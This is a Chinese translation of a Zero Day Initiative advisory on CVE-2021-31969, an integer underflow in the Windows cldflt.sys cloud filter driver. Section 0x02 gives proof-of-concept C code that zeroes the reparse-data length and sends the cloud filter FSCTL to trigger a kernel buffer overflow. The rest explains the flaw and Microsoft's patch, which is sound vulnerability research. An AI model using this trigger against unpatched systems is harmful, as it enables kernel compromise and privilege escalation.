随着云存储的普及,各种操作系统都添加了支持此类存储的服务和功能。现在可以在云端同步本地存储,同时也可以在系统上检索到问价。在Windows上,这种功能是通过Cloud Sync Engines云同步引擎完成的。该组件公开了一个Cloud Filter API的本机API。该API实现可在Cloud Files Mini Filter Driver或cldflt.sys中找到。本文介绍了有关此驱动程序中的整数下溢漏洞的一些详细信息,该漏洞的编号为CVE-2021-31969/ZDI-21-797,它可以被利用来溢出内核缓冲区并通过权限提升实现代码执行。
0x01 Cloud Sync Engines
Windows中的Cloud Filter API启用是从Windows 10版本的1709开始。它提供对Cloud Sync Engines云同步引擎的支持并处理创建和管理占位符文件和目录之类的任务。Cloud Sync Engines云同步引擎是一种在远程主机和本地客户端之间同步文件的服务,它允许本地用户通过Windows文件系统和文件资源管理器访问云托管的文件和目录。在这种情况下,文件本身驻留在云端,而在你的本地文件系统上,该文件的表示称为“占位符”。在云中的文件可能很大,但占位符文件可能只消耗存储标头所需的几个字节。当你访问占位符文件时,Windows通过同步使关联的云文件显示出来。
0x02漏洞利用方法
以下是PoC中关键步骤的描述:
1:首先执行同步注册。然后启动同步提供程序和同步过滤器API之间的通信:
WCHAR*dir=(WCHAR*)L"C:\ProgramData";
GUID guid=;
guid.Data1=0xB196E670;
guid.Data2=0x59C7;
guid.Data3=0x4D41;
CF_SYNC_REGISTRATION reg=;
reg.StructSize=sizeof(reg);
reg.ProviderName=L"test";
reg.ProviderVersion=L"1.0";
reg.ProviderId=guid;
CF_SYNC_POLICIES policies=;
policies.StructSize=sizeof(policies);
policies.HardLink=CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary=CF_HYDRATION_POLICY_PARTIAL;
policies.InSync=CF_INSYNC_POLICY_NONE;
policies.Population.Primary=CF_POPULATION_POLICY_PARTIAL;
HRESULT hr=CfRegisterSyncRoot(dir,®,&policies,CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if(FAILED(hr)){
printf("CfRegisterSyncRoot failed with%pn",hr);
return 0;
}
CF_CALLBACK_REGISTRATION table[2];
table[0].Callback=DoTransferCallback;
table[0].Type=CF_CALLBACK_TYPE_FETCH_DATA;
table[1].Callback=nullptr;
table[1].Type=CF_CALLBACK_TYPE_NONE;
CF_CONNECTION_KEY key;
hr=CfConnectSyncRoot(dir,table,0,CF_CONNECT_FLAG_NONE,&key);
2:获取目标目录的句柄并通过FSCTL_GET_REPARSE_POINT控制代码检索重解析数据:
RtlInitUnicodeString(&name,ntDir);
InitializeObjectAttributes(&oa,&name,0,0,0);
ret=NtCreateFile(&hF,0xC0000000,&oa,&isb,0,0,0,3,1,0,0);
if(NT_SUCCESS(ret))
{
ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_GET_REPARSE_POINT,0,0,rb,0x300);
if(NT_SUCCESS(ret))
{
//...
}
}
3:修改检索到的重解析数据,将长度设置为零。然后通过FSCTL_SET_REPARSE_POINT_EX控制代码将其设置回原位(标签设置为0x9000301A,即IO_REPARSE_TAG_CLOUD_3)。最后,设置参数以code=0xC0000003通过cloud filter FSCTL(0x903BC)请求占位符更新。
rb[0xa]=0;//set(USHORT)length to zero
rb[0x9]=0xfa;
rb[0x8]=0xfa;
rb[13]=0x22;
rbLen+=*(UINT16*)(rb+4);
rbSet=(char*)malloc(rbLen+setLen);
memset(rbSet,0,rbLen+setLen);
*(UINT32*)(rbSet+0)=0;
*(UINT32*)(rbSet+4)=0x9000301A;
memcpy(rbSet+setLen,rb,rbLen);
ret=NtFsControlFile(hF,0,0,0,&isb2,FSCTL_SET_REPARSE_POINT_EX,rbSet,setLen+rbLen,0,0);
memset(output,0,0x100);
*(UINT32*)(output+0)=0x9000001a;
*(UINT32*)(output+4)=0xC0000003;
*(UINT32*)(output+8)=0x10000;
ret=NtFsControlFile(hF,0,0,0,&isb2,0x903BC,output,0x100,0,0);
0x03内核漏洞
内核驱动程序cldflt.sys负责处理cloud filter FSCTL。函数中用了大量switch语句来完成工作,这个函数被命名为HsmFltProcessHSMControl:
图1-HsmFltProcessHSMControl函数
对0xC0000003的操作,最终会调用HsmFltProcessUpdatePlaceholder:
图2-调用HsmFltProcessUpdatePlaceholder
经过一些处理,执行流程将达到HsmpRpReadBuffer。首先分配一个缓冲区,然后通过发出一个FSCTL_GET_REPARSE_POINT控制指令来检索重解析数据。检索到的数据可能已被攻击者修改,之后调用HsmpRpiDecompressBuffer:
图3-调用HsmpRpiDecompressBuffer
在HsmpRpiDecompressBuffer内部,提供的长度(攻击者已设置为零)被检索并增加8。它保存在局部变量length中,然后用于分配内核缓冲区。之后,代码通过调用RtlDecompressBuffer使用分配的缓冲区作为未压缩数据的目标缓冲区继续解压缩数据。但是,它传递给RtlDecompressBuffer的指针不是已分配缓冲区的开始。而是已分配缓冲区开始前的12个字节,以便为某些元数据腾出空间。相应地,它传递给RtlDecompressBuffer的缓冲区大小是length-12。在下面的反汇编代码中,减法被优化为ADD。在我们的例子中,这个减法产生了一个整数下溢,因此一个巨大的缓冲区长度值0xFFFFFFF4被传递给RtlDecompressBuffer,这会导致内核缓冲区溢出。
图4-整数下溢漏洞
0x04补丁分析
Microsoft通过添加检查以确保检索到的长度不小于4来修复此漏洞,这使得无法触发整数下溢。
图5-来自Microsoft的补丁
本文翻译自:https://www.zerodayinitiative.com/blog/2021/7/19/cve-2021-31969-underflowing-in-the-clouds